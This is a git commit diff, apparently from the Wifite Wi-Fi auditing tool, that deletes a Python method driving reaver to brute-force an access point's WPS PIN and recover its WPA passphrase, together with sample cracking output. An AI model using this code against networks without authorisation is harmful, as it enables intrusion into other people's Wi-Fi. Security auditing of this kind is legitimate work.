Removed WPS PIN attack completely from Wifite.
This commit is contained in:
182
py/Reaver.py
182
py/Reaver.py
@@ -157,188 +157,6 @@ class Reaver(Attack):
|
||||
stdout_write.close()
|
||||
return False
|
||||
|
||||
|
||||
def run_wps_pin_attack(self):
|
||||
# Write reaver stdout to file.
|
||||
self.stdout_file = Configuration.temp('reaver.out')
|
||||
if os.path.exists(self.stdout_file):
|
||||
os.remove(self.stdout_file)
|
||||
stdout_write = open(self.stdout_file, 'a')
|
||||
|
||||
# Start reaver process
|
||||
command = [
|
||||
'reaver',
|
||||
'--interface', Configuration.interface,
|
||||
'--bssid', self.target.bssid,
|
||||
'--channel', self.target.channel,
|
||||
'--session', '/dev/null', # Don't restart session
|
||||
'-vv' # verbose
|
||||
]
|
||||
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
|
||||
|
||||
self.success = False
|
||||
pins = set()
|
||||
pin_current = 0
|
||||
pin_total = 11000
|
||||
failures = 0
|
||||
state = 'initializing'
|
||||
|
||||
with Airodump(channel=self.target.channel,
|
||||
target_bssid=self.target.bssid,
|
||||
skip_wps=True,
|
||||
output_file_prefix='wps') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
|
||||
|
||||
while True:
|
||||
try:
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
except Exception as e:
|
||||
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
|
||||
Color.pl("")
|
||||
return False
|
||||
time.sleep(1)
|
||||
percent = 100 * float(pin_current) / float(pin_total)
|
||||
Color.clear_line()
|
||||
status = '{G}%.2f%% done{W}, ' % percent
|
||||
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
|
||||
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", status)
|
||||
|
||||
if failures >= Configuration.wps_fail_threshold:
|
||||
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
|
||||
Color.pl("")
|
||||
break
|
||||
|
||||
# Get output
|
||||
out = self.get_stdout()
|
||||
|
||||
# Clear output file
|
||||
with open(self.stdout_file, 'w'):
|
||||
pass
|
||||
# CHECK FOR CRACK
|
||||
|
||||
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(out)
|
||||
if pin is not None:
|
||||
if psk is None:
|
||||
psk = ''
|
||||
elif ssid is None:
|
||||
ssid = target.essid
|
||||
# We cracked it.
|
||||
self.success = True
|
||||
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
|
||||
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
|
||||
self.crack_result.dump()
|
||||
break
|
||||
|
||||
|
||||
# PIN PROGRESS
|
||||
|
||||
# Reaver 1.5.*
|
||||
match = None
|
||||
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
|
||||
# Look at last entry for "Pin count advanced" to get latest pin count
|
||||
pass
|
||||
if match:
|
||||
# Reset failures on successful try
|
||||
failures = 0
|
||||
pin_current = int(match.group(1))
|
||||
pin_total = int(match.group(2))
|
||||
|
||||
# Reaver 1.3, 1.4
|
||||
match = None
|
||||
for match in re.finditer('Trying pin (\d+)', out):
|
||||
if match:
|
||||
pin = int(match.group(1))
|
||||
if pin not in pins:
|
||||
# Reset failures on successful try
|
||||
failures = 0
|
||||
pins.add(pin)
|
||||
pin_current += 1
|
||||
|
||||
# Failures
|
||||
if 'WPS transaction failed' in out:
|
||||
failures += out.count('WPS transaction failed')
|
||||
elif 'Receive timeout occurred' in out:
|
||||
# Reaver 1.4
|
||||
failures += out.count('Receive timeout occurred')
|
||||
|
||||
# Status
|
||||
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
|
||||
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
|
||||
# Reaver 1.4
|
||||
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
|
||||
|
||||
if 'Detected AP rate limiting' in out:
|
||||
state = '{R}rate-limited{W}'
|
||||
if Configuration.wps_skip_rate_limit:
|
||||
Color.pl(state)
|
||||
Color.pl('{!} {R}hit rate limit, stopping{W}')
|
||||
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
|
||||
' this kind of failure in the future{W}')
|
||||
break
|
||||
|
||||
if 'WARNING: Failed to associate with' in out:
|
||||
# TODO: Fail after X association failures (instead of just one)
|
||||
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
|
||||
break
|
||||
|
||||
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
|
||||
if match:
|
||||
eta = match.group(1)
|
||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
||||
|
||||
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
|
||||
if match:
|
||||
eta = match.group(1)
|
||||
state = '{C}cracking, ETA: {G}%s{W}' % eta
|
||||
pins_left = int(match.group(2))
|
||||
|
||||
# Divine pin_current & pin_total from this:
|
||||
pin_current = 11000 - pins_left
|
||||
|
||||
# Check if process is still running
|
||||
if reaver.pid.poll() is not None:
|
||||
Color.pl('{R}failed{W}')
|
||||
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
|
||||
self.success = False
|
||||
break
|
||||
|
||||
# Output the current state
|
||||
Color.p(state)
|
||||
|
||||
'''
|
||||
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
|
||||
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
|
||||
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
|
||||
[+] Trying pin 12345670.
|
||||
[+] Pin count advanced: 46. Max pin attempts: 11000
|
||||
[!] WPS transaction failed (code: 0x02), re-trying last pin
|
||||
[!] WPS transaction failed (code: 0x03), re-trying last pin
|
||||
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
|
||||
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
|
||||
[!] WARNING: 25 successive start failures
|
||||
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
|
||||
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
|
||||
[+] Estimated Remaining time: 0d15h11m35s
|
||||
|
||||
[+] Pin cracked in 7 seconds
|
||||
[+] WPS PIN: '12345678'
|
||||
[+] WPA PSK: 'abcdefgh'
|
||||
[+] AP SSID: 'Test Router'
|
||||
|
||||
Reaver 1.4:
|
||||
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
|
||||
[!] WARNING: Receive timeout occurred
|
||||
|
||||
'''
|
||||
|
||||
reaver.interrupt()
|
||||
|
||||
return self.success
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_pin_psk_ssid(stdout):
|
||||
''' Parses WPS PIN, PSK, and SSID from output '''
|
||||
|
||||
Reference in New Issue
Block a user